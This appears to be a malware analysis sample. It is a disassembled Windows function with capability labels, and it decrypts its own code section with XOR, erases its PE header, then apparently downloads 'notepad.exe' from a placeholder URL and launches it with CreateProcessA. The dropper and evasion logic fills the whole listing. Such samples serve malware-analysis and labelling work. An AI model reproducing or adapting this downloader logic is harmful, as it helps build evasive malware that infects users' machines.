Function at 0x140026000
Capabilities:
Allocate or change rwx memory
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Parse pe header

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x38]
sub rsp, 0x138
mov ecx, 0x5f5e100
call fcn.140007218
mov rbx, rax
test rax, rax
je 0x1400261ed
xor edx, edx
mov qword [rsp + 0x120], r15
mov r8d, 0x5f5e100
mov rcx, rax
call fcn.140001e90
mov rcx, rbx
call fcn.140007204
lea rcx, str.___Entered_decryptCodeSection___n
call fcn.140001010
xor r15d, r15d
mov dword [rbp + 0x58], 0xadde3713
mov edx, 0x15151515
mov dword [rbp + 0x50], r15d
lea rcx, str.___Code_Base_Address:_0x_02x_n
mov byte [rsp + 0x54], r15b
mov word [rbp + 0x5c], 0xefbe
mov dword [rsp + 0x50], 0x13131313
call fcn.140001010
mov edx, 0x14141414
lea rcx, str.___Code_Size:__02x_n
call fcn.140001010
lea rcx, str.___Marking_memory_as_writeable_n
call fcn.140001010
lea r9, [rbp + 0x50]
mov edx, 0x14141414
mov ecx, 0x15151515
lea r8d, [r15 + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400261e5
mov qword [rsp + 0x160], rsi
lea rcx, str.___XORing_n
mov qword [rsp + 0x130], rdi
mov qword [rsp + 0x128], r14
call fcn.140001010
mov edx, r15d
mov r9d, 0x15151515
mov r10d, 0x14141414
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rdx + 0x58]
lea rcx, [rdx + 1]
xor byte [r9], al
lea r9, [r9 + 1]
mov rax, rdx
mov rdx, r15
cmp rax, 5
cmovne rdx, rcx
sub r10, 1
jne 0x140026100
lea r9, [rsp + 0x50]
mov qword [rsp + 0x20], 5
mov edx, 0x15151515
lea rcx, str._nBUFF_BYTE__x:SIZE__d_nPTRN_BYTE__x:SIZE__d_n
mov r8d, 0x14141414
call fcn.140001010
lea rax, [rsp + 0x50]
mov r14d, 0x15151515
sub r14, rax
mov esi, r15d
nop word [rax + rax]
mov ebx, r15d
lea rdi, [rsp + 0x50]
nop dword [rax + rax]
movzx ecx, byte [r14 + rdi]
cmp cl, byte [rdi]
jne 0x1400261b4
lea eax, [rbx + rsi]
mov edx, ecx
movsxd r8, eax
lea rcx, str.Matching_byte__x_at_address__d_n
add r8, 0x15151515
call fcn.140001010
mov r8d, ebx
lea rcx, str.Value_i:__d__Value_j:__d_n
mov edx, esi
call fcn.140001010
cmp ebx, 3
je 0x1400261f9
inc ebx
inc rdi
cmp ebx, 4
jl 0x140026170
inc esi
inc r14
cmp esi, 0x1414140f
jl 0x140026160
lea rcx, str._nindexOf:_could_not_find_pattern_n
call fcn.140001010
mov rdi, qword [rsp + 0x130]
mov rsi, qword [rsp + 0x160]
mov r14, qword [rsp + 0x128]
mov r15, qword [rsp + 0x120]
xor eax, eax
add rsp, 0x138
pop rbx
pop rbp
ret
mov r8d, esi
lea rcx, str.Pattern_has_been_matched_at_buffer_offset__d__0x_02x_n
mov edx, esi
call fcn.140001010
cmp esi, 0xffffffff
je 0x1400261cd
movsxd rdx, esi
lea rcx, str._nSignature_found_at_0x_02x_n
add rdx, 0x15151515
call fcn.140001010
lea rcx, str.___exited_decryptCodeSection____entering_realmain___n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [rbp + 0x50], r15d
mov ecx, 0x5a4d
mov ebx, eax
add eax, dword [rbx + 0x3c]
cmp word [rbx], cx
jne 0x140026294
cmp dword [rax], 0x4550
jne 0x140026294
cmp word [rax + 0x14], r15w
je 0x140026294
mov edi, dword [rax + 0x54]
lea r9, [rbp + 0x50]
mov edx, edi
mov r8d, 0x40
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140026294
mov r8d, edi
xor edx, edx
mov ecx, ebx
call fcn.140001e90
mov r8d, dword [rbp + 0x50]
lea r9, [rbp + 0x50]
mov edx, edi
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.remove_pe_header___n
call fcn.140001010
movzx eax, word [0x14001e4c0]
lea rdx, [rbp - 0x80]
movsd xmm0, qword [str.output.exe]
lea rcx, [rsp + 0x58]
movups xmm1, xmmword [0x14001e4d8]
mov word [rsp + 0x60], ax
movzx eax, byte [0x14001e4c2]
mov byte [rsp + 0x62], al
mov eax, dword [0x14001e4e8]
mov dword [rbp - 0x60], eax
movzx eax, word [0x14001e4ec]
movsd qword [rsp + 0x58], xmm0
movups xmm0, xmmword [str.http:__exmaple.com_uploads_notepad.exe]
mov word [rbp - 0x5c], ax
movzx eax, byte [0x14001e4ee]
mov byte [rbp - 0x5a], al
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm1
call section..rofl
test eax, eax
jne 0x14002641f
xorps xmm0, xmm0
mov dword [rbp - 0x50], 0x68
xor eax, eax
lea rcx, [rsp + 0x58]
mov dword [rbp + 0x14], eax
xor r9d, r9d
mov qword [rsp + 0x78], rax
xor r8d, r8d
lea rax, [rsp + 0x68]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
movups xmmword [rsp + 0x68], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400263ed
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateProcess_failed___d_._n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], r15
xor edx, edx
mov r8d, eax
mov dword [rsp + 0x28], r15d
lea rax, [rbp + 0x50]
mov ecx, 0x1300
mov r9d, 0x400
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9, qword [rbp + 0x50]
lea rdx, str.createProcess
mov r8d, eax
lea rcx, str._s_failed_with_error__d:__s
call fcn.140001010
lea rcx, str._n_malware_main___exited_n
jmp 0x1400261c8
mov rcx, qword [rsp + 0x68]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.process_finished_executing_n
call fcn.140001010
lea rcx, str._n_malware_main___exited_n
jmp 0x1400261c8